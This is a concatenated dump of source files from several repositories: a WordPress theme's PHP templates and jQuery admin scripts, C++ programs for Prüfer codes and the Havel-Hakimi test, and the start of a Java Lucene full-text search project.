<input type="checkbox" value="1" id="opt_check_adminimize" name="opt_check_adminimize" <?php echo( $plugin_adminimize == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_adminimize">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>iThemes Security</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_wpsecurity" name="opt_check_wpsecurity" <?php echo( $plugin_better_wp_security == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_wpsecurity">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-footer.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
function fdc_footer_widget_col1(){
global $footer_layout;
global $footer_class_col1;
$x = false;
if( $footer_layout == 'footer-1-cols' ){ echo '<div class="col-md-12 '. $footer_class_col1 .'">'; $x = true;}
if( $footer_layout == 'footer-2-cols' ){ echo '<div class="col-md-6 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-3-cols' ){ echo '<div class="col-md-4 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-4-cols' ){ echo '<div class="col-md-3 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-5-cols' ){ echo '<div class="col-md-2 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-third-twothird' ){ echo '<div class="col-md-4 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-fourth-threefourth' ){ echo '<div class="col-md-3 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'footer-fourth-fourthhalf' ){ echo '<div class="col-md-3 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'third-sixth-sixth-sixth-sixth' ){ echo '<div class="col-md-4 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'half-sixth-sixth-sixth' ){ echo '<div class="col-md-6 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'twothird-third' ){ echo '<div class="col-md-8 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'threefourth-fourth' ){ echo '<div class="col-md-9 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'halffourth-fourth' ){ echo '<div class="col-md-6 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'fivesixth-sixth' ){ echo '<div class="col-md-10 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-sixth-third' ){ echo '<div class="col-md-2 '. $footer_class_col1 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-half' ){ echo '<div class="col-md-2 '. $footer_class_col1 .'">'; $x = true; }
if( is_active_sidebar('footer_col1') ): dynamic_sidebar('footer_col1'); endif;
if( $x ){ echo '</div>'; }
}
function fdc_footer_widget_col2(){
global $footer_layout;
global $footer_class_col2;
$x = false;
if( $footer_layout == 'footer-2-cols' ){ echo '<div class="col-md-6 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-3-cols' ){ echo '<div class="col-md-4 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-4-cols' ){ echo '<div class="col-md-3 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-5-cols' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-third-twothird' ){ echo '<div class="col-md-8 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-fourth-threefourth' ){ echo '<div class="col-md-9 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'footer-fourth-fourthhalf' ){ echo '<div class="col-md-3 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'third-sixth-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'half-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'twothird-third' ){ echo '<div class="col-md-4 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'threefourth-fourth' ){ echo '<div class="col-md-9 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'halffourth-fourth' ){ echo '<div class="col-md-3 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'fivesixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-sixth-third' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-half' ){ echo '<div class="col-md-2 '. $footer_class_col2 .'">'; $x = true; }
if( is_active_sidebar('footer_col2') ): dynamic_sidebar('footer_col2'); endif;
if( $x ){ echo '</div>'; }
}
function fdc_footer_widget_col3(){
global $footer_layout;
global $footer_class_col3;
$x = false;
if( $footer_layout == 'footer-3-cols' ){ echo '<div class="col-md-4 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'footer-4-cols' ){ echo '<div class="col-md-3 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'footer-5-cols' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'footer-fourth-fourthhalf' ){ echo '<div class="col-md-6 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'third-sixth-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'half-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'halffourth-fourth' ){ echo '<div class="col-md-3 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-sixth-third' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-half' ){ echo '<div class="col-md-2 '. $footer_class_col3 .'">'; $x = true; }
if( is_active_sidebar('footer_col3') ): dynamic_sidebar('footer_col3'); endif;
if( $x ){ echo '</div>'; }
}
function fdc_footer_widget_col4(){
global $footer_layout;
global $footer_class_col4;
$x = false;
if( $footer_layout == 'footer-4-cols' ){ echo '<div class="col-md-3 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'footer-5-cols' ){ echo '<div class="col-md-2 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'third-sixth-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'half-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-sixth-third' ){ echo '<div class="col-md-2 '. $footer_class_col4 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-half' ){ echo '<div class="col-md-6 '. $footer_class_col4 .'">'; $x = true; }
if( is_active_sidebar('footer_col4') ): dynamic_sidebar('footer_col4'); endif;
if( $x ){ echo '</div>'; }
}
function fdc_footer_widget_col5(){
global $footer_layout;
global $footer_class_col5;
$x = false;
if( $footer_layout == 'footer-5-cols' ){ echo '<div class="col-md-2 '. $footer_class_col5 .'">'; $x = true; }
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col5 .'">'; $x = true; }
if( $footer_layout == 'third-sixth-sixth-sixth-sixth' ){ echo '<div class="col-md-2 '. $footer_class_col5 .'">'; $x = true; }
if( $footer_layout == 'sixth-sixth-sixth-sixth-third' ){ echo '<div class="col-md-4 '. $footer_class_col5 .'">'; $x = true; }
if( is_active_sidebar('footer_col5') ): dynamic_sidebar('footer_col5'); endif;
if( $x ){ echo '</div>'; }
}
function fdc_footer_widget_col6(){
global $footer_layout;
global $footer_class_col6;
$x = false;
if( $footer_layout == 'footer-6-cols' ){ echo '<div class="col-md-2 '. $footer_class_col6 .'">'; $x = true; }
if( is_active_sidebar('footer_col6') ): dynamic_sidebar('footer_col6'); endif;
if( $x ){ echo '</div>'; }
}
<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/responsive.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $responsive;
?>
<h4>Responsive</h4>
<div class="row">
<div class="col-sm-3 text-center">
<span>Responsive</span>
<div class="onoffswitch">
<input type="radio" name="opt_radio_responsive" value="1" id="responsive" <?php echo( $responsive == 1 || $responsive == '' ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="responsive">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-4 text-center">
<span>Non Responsive</span>
<div class="onoffswitch">
<input type="radio" name="opt_radio_responsive" value="0" id="non-responsive" <?php echo( $responsive == 0 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="non-responsive">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/support.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
?>
<file_sep>/wp-content/themes/TWWF/pages/contact.php
<?php
/**
* Template Name: contact
*
* @package WordPress
* @subpackage TWWF
* @since Twwf 1.0
*/
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_front_page() ):
query_posts(array(
'pagename' => 'contact'
) );
if( have_posts() ) :
?>
<div class="container">
<div class="row">
<?php
while( have_posts() ) : the_post();
$title = get_the_title();
$subtitle = get_field('subtitle');
$phone = get_field('phone');
$email = get_field('email');
?>
<header>
<h2 class="page-title"><?php echo $title; ?></h2>
<div class="page-subtitle"><?php echo $subtitle; ?></div>
</header>
<div class="col-sm-6 phone">
<span><?php echo $phone; ?></span>
<span class="fa fa-phone"></span>
</div><!-- col end -->
<div class="col-sm-6 email">
<span class="fa fa-envelope-o"></span>
<span><?php echo $email; ?></span>
</div><!-- col end -->
<?php
endwhile;
?>
</div><!-- row end -->
</div><!-- container end -->
<?php
else:
?>
<div class="alert alert-info" role="alert"><h3 class="text-center">We don't have any post yet...</h3></div>
<?php
endif;
wp_reset_query();
else:
header('Location: ./');
endif;
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-header.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*---------------------------------------------------*/
/* VIEWPORT */
/*---------------------------------------------------*/
function fdc_viewport(){
global $responsive;
if( $responsive == 1 ):
?>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<?php
endif;
}
add_action( 'wp_head', 'fdc_viewport' );
/*---------------------------------------------------*/
/* APPLE ICONS */
/*---------------------------------------------------*/
function fdc_apple_icon_support(){
?>
<!-- Favicons -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="<?php echo get_template_directory_uri(); ?>/assets/images/icons/favicon.png apple-touch-icon-144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="<?php echo get_template_directory_uri(); ?>/assets/images/icons/favicon.png apple-touch-icon-114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="<?php echo get_template_directory_uri(); ?>/assets/images/icons/favicon.png assets/ico/apple-touch-icon-72-precomposed.png">
<link rel="apple-touch-icon-precomposed" href="<?php echo get_template_directory_uri(); ?>/assets/images/icons/apple-touch-icon-57-precomposed.png">
<link rel="shortcut icon" href="<?php echo get_template_directory_uri(); ?>/assets/images/icons/favicon.png">
<?php
}
add_action( 'wp_head', 'fdc_apple_icon_support' );
/*---------------------------------------------------*/
/* JAVASCRIPT VARIABLES */
/*---------------------------------------------------*/
function fdc_script_variables(){
?>
<script>
var url_site = '<?php echo get_site_url(); ?>';
var theme_path = '<?php echo get_template_directory_uri(); ?>';
</script>
<?php
}
add_action( 'wp_head', 'fdc_script_variables' );
<file_sep>/wp-content/themes/TWWF/sections/inner-top.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('inner_top') ):
?>
<div class="panel panel-danger">
<div class="panel-body">
<?php fdc_inner_top(); ?>
</div><!-- panel-body end -->
</div><!-- panel end -->
<?php endif; ?>
<file_sep>/wp-content/themes/TWWF/404.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
get_header(); ?>
<main role="main">
<section class="container">
<div class="jumbotron">
<big>Error 404</big>
<h2 class="page-title">Woops, something went wrong!</h2>
<p>Apologies, but we were unable to find what you were looking for.</p>
</div>
</section><!-- container end -->
</main>
<?php
get_footer();
<file_sep>/wp-content/themes/TWWF/lib/theme-options/fdc-options.js
jQuery(document).ready(function(){
$ = jQuery;
/*---------------------------------------------------------*/
/* LAYOUT */
/*---------------------------------------------------------*/
function init_layout(){
$('.layout :checked').each(function(){
$(this).parent('label').toggleClass('active');
});
}
init_layout();
$('.layout label').on('click', function(){
var $chk = $(this).find(':checkbox').attr('checked');
if( $chk != null ){
$(this).addClass('active');
}else{
$(this).removeClass('active');
}
});
/*---------------------------------------------------------*/
/* IMAGES UPLOAD */
/*---------------------------------------------------------*/
var file_frame,
wp_media_post_id = wp.media.model.settings.post.id, // Store the old id
set_to_post_id = 10; // Set this
$('.upload_image_button').on('click', function(e){
e.preventDefault();
// If the media frame already exists, reopen it.
if ( file_frame ){
// Set the post ID to what we want
file_frame.uploader.uploader.param( 'post_id', set_to_post_id );
// Open frame
file_frame.open();
return;
}else{
// Set the wp.media post id so the uploader grabs the ID we want when initialised
wp.media.model.settings.post.id = set_to_post_id;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data( 'uploader_title' ),
button: {
text: $(this).data( 'uploader_button_text' ),
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function(){
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
// Do something with attachment.id and/or attachment.url here
update_login_brand_preview(attachment.url);
// Restore the main post ID
wp.media.model.settings.post.id = wp_media_post_id;
});
// Finally, open the modal
file_frame.open();
});
// Restore the main ID when the add media button is pressed
$('a.add_media').on('click', function(){
wp.media.model.settings.post.id = wp_media_post_id;
});
/*---------------------------------------------------------*/
/* LOGIN PAGE */
/*---------------------------------------------------------*/
function update_login_brand_preview(img_url){
var $opt_login_brand = $('#opt_login_brand');
$opt_login_brand.val(img_url);
$('#login_brand').attr('src', img_url);
if( img_url ){
$('.img-preview').detach();
$opt_login_brand.before('<div class="thumbnail img-preview space2">'+
'<img src="'+ img_url +'" id="login_brand" class="img-responsive" />'+
'<a href="#" class="btn btn-danger btn-xs remove-image" data-remove="opt_login_brand"> X </a>'+
'</div>');
}
$('.img-preview .remove-image').on('click', function(e){
e.preventDefault();
var $this = $(this),
$data = $this.data('remove'),
$thumb = $this.parent();
$('#'+$data).val('');
$thumb.fadeOut(300);
});
$opt_login_brand.change(function(){
$('#login_brand').attr('src', img_url);
});
}//update_login_brand_preview()
var $login_brand = $('#opt_login_brand').val();
update_login_brand_preview($login_brand);
});//jQuery
<file_sep>/wp-content/themes/TWWF/pages/about.php
<?php
/**
* Template Name: about
*
* @package WordPress
* @subpackage TWWF
* @since Twwf 1.0
*/
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_front_page() ):
query_posts(array(
'pagename' => 'about-us'
) );
if( have_posts() ) :
?>
<div class="container">
<div class="row">
<div class="col-sm-5 col-sm-push-1">
<div class="slider-about-description">
<?php
while( have_posts() ) : the_post();
if( have_rows('gallery') ):
while ( have_rows('gallery') ) : the_row();
echo '<div>'. get_sub_field('text') .'</div>';
endwhile;
endif;
endwhile;
?>
</div><!-- slider-about-description end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- container end -->
<div class="slider-about">
<?php
while( have_posts() ) : the_post();
if( have_rows('gallery') ):
while ( have_rows('gallery') ) : the_row();
echo '<div><img src="'. get_sub_field('image') .'" /></div>';
endwhile;
endif;
endwhile;
?>
</div><!-- slider-about end -->
<?php
else:
?>
<div class="alert alert-info" role="alert"><h3 class="text-center">We don't have any post yet...</h3></div>
<?php
endif;
wp_reset_query();
else:
header('Location: ./');
endif;
<file_sep>/wp-content/themes/TWWF/widgets/team-grid.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'our_team_widget' ); // function to load my widget
// function to register my widget
function our_team_widget(){
register_widget( 'our_team_widget' );
}
class our_team_widget extends WP_Widget{
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct(){
$widget_ops = array(
'classname' => 'our_team_widget',
'description' => __('')
);
$this->WP_Widget( 'offers-pannel', __('TWWF Our Team Grid'), $widget_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
if( $title )
echo $before_title . $title . $after_title;
$image = apply_filters('image', empty($instance['image']) ? '' : $instance['image'], $instance, $this->id_base);
$name = apply_filters('name', empty($instance['name']) ? '' : $instance['name'], $instance, $this->id_base);
$occupation = apply_filters('occupation', empty($instance['occupation']) ? '' : $instance['occupation'], $instance, $this->id_base);
$description = apply_filters('description', empty($instance['description']) ? '' : $instance['description'], $instance, $this->id_base);
?>
<figure>
<img src="<?php echo $image; ?>" alt="<?php echo $name; ?>" class="img-center" />
</figure>
<a href="#" class="close">
<svg id="svg-close" viewBox="0 0 32 32" style="enable-background:new 0 0 32 32;">
<g>
<path style="fill-rule:evenodd;clip-rule:evenodd;" d="M21.717,10.283c-0.394-0.394-1.032-0.394-1.425,0l-4.297,4.297
l-4.237-4.237c-0.391-0.391-1.024-0.391-1.414,0c-0.391,0.391-0.391,1.024,0,1.414l4.237,4.237l-4.266,4.266
c-0.394,0.394-0.394,1.032,0,1.425c0.394,0.393,1.032,0.393,1.425,0l4.266-4.266l4.237,4.237c0.391,0.391,1.024,0.391,1.414,0
c0.391-0.391,0.391-1.024,0-1.414l-4.237-4.237l4.297-4.297C22.111,11.315,22.111,10.676,21.717,10.283z M16,0
C7.163,0,0,7.163,0,16s7.163,16,16,16c8.836,0,16-7.164,16-16S24.837,0,16,0z M16,30C8.268,30,2,23.732,2,16S8.268,2,16,2
s14,6.268,14,14S23.732,30,16,30z"/>
</g>
</svg>
</a>
<header>
<h4><?php echo $name; ?></h4>
<span><?php echo $occupation; ?></span>
</header>
<div><?php echo $description; ?></div>
<?php
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['image'] = $new_instance['image'];
$instance['name'] = $new_instance['name'];
$instance['occupation'] = $new_instance['occupation'];
$instance['description'] = $new_instance['description'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
$image = isset($instance['image']) ? esc_attr($instance['image']) : '';
$name = isset($instance['name']) ? esc_attr($instance['name']) : '';
$occupation = isset($instance['occupation']) ? esc_attr($instance['occupation']) : '';
$description = isset($instance['description']) ? esc_attr($instance['description']) : '';
?>
<div class="opt-separator">
<p>
<label>Select or upload an image</label>
<a href="#" class="ui-button ui-button-text-only upload_image_button">
<span class="dashicons dashicons-camera"></span>
</a>
</p>
<input type="hidden" id="opt_img" name="<?php echo $this->get_field_name('image'); ?>" value="<?php echo $image; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Name</label>
<input type="text" id="<?php echo $this->get_field_id('name'); ?>" name="<?php echo $this->get_field_name('name'); ?>" value="<?php echo $name; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Occupation</label>
<input type="text" id="<?php echo $this->get_field_id('occupation'); ?>" name="<?php echo $this->get_field_name('occupation'); ?>" value="<?php echo $occupation; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Description</label>
<textarea class="widefat theEditor" rows="16" cols="20" id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>"><?php echo $description; ?></textarea>
</div><!-- opt-separator end -->
<style type="text/css" media="screen">
.opt-separator{padding:10px 0;}
.img-preview{width:300px; max-height:300px; overflow:hidden;}
.img-preview img{width:100%; height:auto;}
.remove-image{background:#FF0000; color:#fff !important; border:solid 1px #fff; text-decoration:none; font-weight:600; padding:5px;}
label{line-height:2; padding-right:10px; display:inline-block;}
</style>
<script>
//$(document).ready(function(){
/*---------------------------------------------------------*/
/* IMAGES UPLOAD */
/*---------------------------------------------------------*/
var file_frame,
wp_media_post_id = wp.media.model.settings.post.id, // Store the old id
set_to_post_id = 10; // Set this
$('.upload_image_button').on('click', function(e){
e.preventDefault();
// If the media frame already exists, reopen it.
if ( file_frame ){
// Set the post ID to what we want
file_frame.uploader.uploader.param( 'post_id', set_to_post_id );
// Open frame
file_frame.open();
return;
}else{
// Set the wp.media post id so the uploader grabs the ID we want when initialised
wp.media.model.settings.post.id = set_to_post_id;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data( 'uploader_title' ),
button: {
text: $(this).data( 'uploader_button_text' ),
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function(){
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
// Do something with attachment.id and/or attachment.url here
update_login_brand_preview(attachment.url);
// Restore the main post ID
wp.media.model.settings.post.id = wp_media_post_id;
});
// Finally, open the modal
file_frame.open();
});
// Restore the main ID when the add media button is pressed
$('a.add_media').on('click', function(){
wp.media.model.settings.post.id = wp_media_post_id;
});
function update_login_brand_preview(img_url){
var $opt_img = $('#opt_img');
$opt_img.val(img_url);
$('#login_brand').attr('src', img_url);
if( img_url ){
$('.img-preview').detach();
$opt_img.before('<div class="thumbnail img-preview space2">'+
'<img src="'+ img_url +'" id="login_brand" class="img-responsive" />'+
'<a href="#" class="btn btn-danger btn-xs remove-image" data-remove="opt_img"> X </a>'+
'</div>');
}
$('.img-preview .remove-image').on('click', function(e){
e.preventDefault();
var $this = $(this),
$data = $this.data('remove'),
$thumb = $this.parent();
$('#'+$data).val('');
$thumb.fadeOut(300);
});
$opt_img.change(function(){
$('#login_brand').attr('src', img_url);
});
}//update_login_brand_preview()
var $login_brand = $('#opt_img').val();
//console.log($login_brand);
update_login_brand_preview($login_brand);
//});
</script>
<?php
}
}
?>
| a2d794ed14942e937309aba936b9ac39c26c34e7 | [
"JavaScript",
"PHP"
] | 58 | JavaScript | fitodac/TWWF | 29069b05462551998184304fc638f4e94e2f3b3f | 2971767b6e4b3c74de0d836c077a336ec2ad7ff6 |
refs/heads/master | <repo_name>balambuc/DiMat2<file_sep>/pruefer/main.cpp
#include <iostream>
#include <vector>
#include <stdlib.h>
using namespace std;
typedef struct {
vector<int> kezd;
vector<int> veg;
vector<int> deg;
} graf;
void oda (graf &g, int n);
void vissza (vector<int> &v);
int legkisebbNemElem (vector<int> &v);
int main()
{
//Ékezetes karakterek megjelenítése
system("chcp 65001");
char c;
do {
vector<int> adat;
graf g;
//Cimke
system("cls");
cout << " Prüfer kód" << endl << endl;
cout << "Kódból gráf(k), vagy gráfból kód(g)? ";
cin >> c;
//Beolvasás
switch (c) {
case 'k':
case 'K': {
cout << "Adja meg a sorozat elemeit szóközzel enterrel vagy tabbal eválasztva!" << endl <<"Az adatbevitel végét egy nemszám karakter jelezze! " << endl;
int s;
cin >> s;
while (!cin.fail()) {
adat.push_back(s);
cin >> s;
}
vissza(adat);
break;
}
case 'g':
case 'G': {
cout << "Csúcsok száma? ";
int n;
cin >> n;
g.deg.resize(n);
g.kezd.resize(n);
g.veg.resize(n);
for(int i=1; i<n; ++i)
g.deg[i]=0;
for(int i=1; i<n; ++i) {
cout << (i) << ". él kezdő és végpontja? ";
cin >> g.kezd[i] >> g.veg[i];
g.deg[g.kezd[i]]++;
g.deg[g.veg[i]]++;
}
oda(g, n);
break;
}
}
cin.clear();
cin.ignore(100000, '\n');
//Újra futtatás
cout << endl << "Futtassam újra? (I/N) ";
cin >> c;
} while (c != 'n' && c != 'N');
return 0;
}
void oda (graf &g, int n)
{
int i,j,k;
for (i=1; i<n-1; i++) {
j=1;
while ( (j<=n) && (g.deg[j]!=1) )
j++;
k=1;
while ( (k<n) && (g.kezd[k]!=j) && (g.veg[k]!=j ) )
k++;
if (g.veg[k]==j)
cout << g.kezd[k] << " ";
else
cout << g.veg[k] << " ";
g.deg[ g.kezd[k] ]--;
g.deg[ g.veg[k] ]--;
g.kezd[k]=0;
g.veg[k]=0;
}
}
void vissza (vector<int> &v)
{
int n = v.size()+2;
v.push_back(n);
cout << n << endl;
for(int i=0; i<n-1; ++i)
{
int legkisebb = legkisebbNemElem(v);
v.push_back(legkisebb);
cout << legkisebb << " " << v[0] << endl;
v.erase(v.begin());
}
}
int legkisebbNemElem (vector<int> &v)
{
int s=0;
while (true){
s++;
int j=0;
while(j<v.size() && v[j]!=s)
j++;
if(j==v.size())
return s;
}
}
<file_sep>/Havel_Hak/main.cpp
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
bool hh (vector<int> &v);
bool nemNov(int i, int j) {return i>j;}
int main()
{
cout << "Fokszamsor: (bevitel vege nemszam karakter)" << endl;
vector<int> v;
int s;
cin >> s;
while (!cin.fail()){
v.push_back(s);
cin >> s;
}
sort(v.begin(), v.end(), nemNov);
if(hh(v))
cout << "Igen";
else
cout << "Nem";
return 0;
}
bool hh (vector<int> &v)
{
int n = v[0];
if(n==0)
return v[v.size()-1]==0;
v.erase(v.begin());
for(int i=0; i<n;++i)
--v[i];
sort(v.begin(), v.end(), nemNov);
return (hh(v));
}
| 5e55c77cee0d2784cffacf471dfe390589e886ae | [
"C++"
] | 2 | C++ | balambuc/DiMat2 | 2c833ab113b5a599b2f2ae6186cbfa5df4e54fe2 | a6abd92339a5d29403f482d02bc7f3fa2978cfc2 |
refs/heads/master | <repo_name>TACHAI/learnlucence<file_sep>/src/main/java/com/laishishui/learnlucence/controller/SearchController.java
package com.laishishui.learnlucence.controller;
import com.laishishui.learnlucence.dao.BaikeMapper;
import com.laishishui.learnlucence.po.Baike;
import com.laishishui.learnlucence.service.impl.SearchServiceImpl;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;
import java.util.List;
import java.util.Map;
@RestController
public class SearchController {
@Autowired
private BaikeMapper baikeMapper;
@Autowired
private SearchServiceImpl searchService;
@GetMapping("/index")
public String createIndex() {
// 拉取数据
List<Baike> baikes = baikeMapper.getAllBaike();
searchService.write(baikes);
return "成功";
}
/**
* 搜索,实现高亮
* @param q
* @return
* @throws Exception
*/
@GetMapping("search/{q}")
public List<Map> getSearchText(@PathVariable String q) throws Exception {
List<Map> mapList = searchService.search(q);
return mapList;
}
@GetMapping("/search")
public ModelAndView test(ModelAndView mv) {
mv.setViewName("/search");
return mv;
}
// 旧的创建索引的方式,效率较低
// Baike baike = new Baike();
// //获取字段
// for (int i = 0; i < baikes.size(); i++) {
// //获取每行数据
// baike = baikes.get(i);
// //创建Document对象
// Document doc = new Document();
// //获取每列数据
//
// Field id = new Field("id", baike.getId()+"", TextField.TYPE_STORED);
// Field title = new Field("title", baike.getTitle(), TextField.TYPE_STORED);
// Field summary = new Field("summary", baike.getSummary(), TextField.TYPE_STORED);
// //添加到Document中
// doc.add(id);
// doc.add(title);
// doc.add(summary);
// //调用,创建索引库
// indexDataBase.write(doc);
//
// }
}
<file_sep>/src/main/resources/mybatis-generator/mybatisGeneratorinit.properties
db.driverLocation=/Users/mac/Desktop/ideaweb/mysql-connector-java-5.1.47.jar
db.driverClassName=com.mysql.jdbc.Driver
db.url=jdbc:mysql://localhost:3306/lucene?characterEncoding=utf-8
db.username=root
db.password=<PASSWORD><file_sep>/src/main/java/com/laishishui/learnlucence/service/SearchService.java
package com.laishishui.learnlucence.service;
import com.laishishui.learnlucence.po.Baike;
import java.util.List;
/**
* Create by tachai on 2019-09-19 20:29
* gitHub https://github.com/TACHAI
* Email <EMAIL>
*/
public interface SearchService {
String write(List<Baike> baikes);
}
<file_sep>/src/main/java/com/laishishui/learnlucence/common/fulltest/IndexUtils.java
package com.laishishui.learnlucence.common.fulltest;
import lombok.extern.slf4j.Slf4j;
import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.TextField;
import org.apache.lucene.index.*;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.ScoreDoc;
import org.apache.lucene.search.TopDocs;
import org.apache.lucene.search.highlight.*;
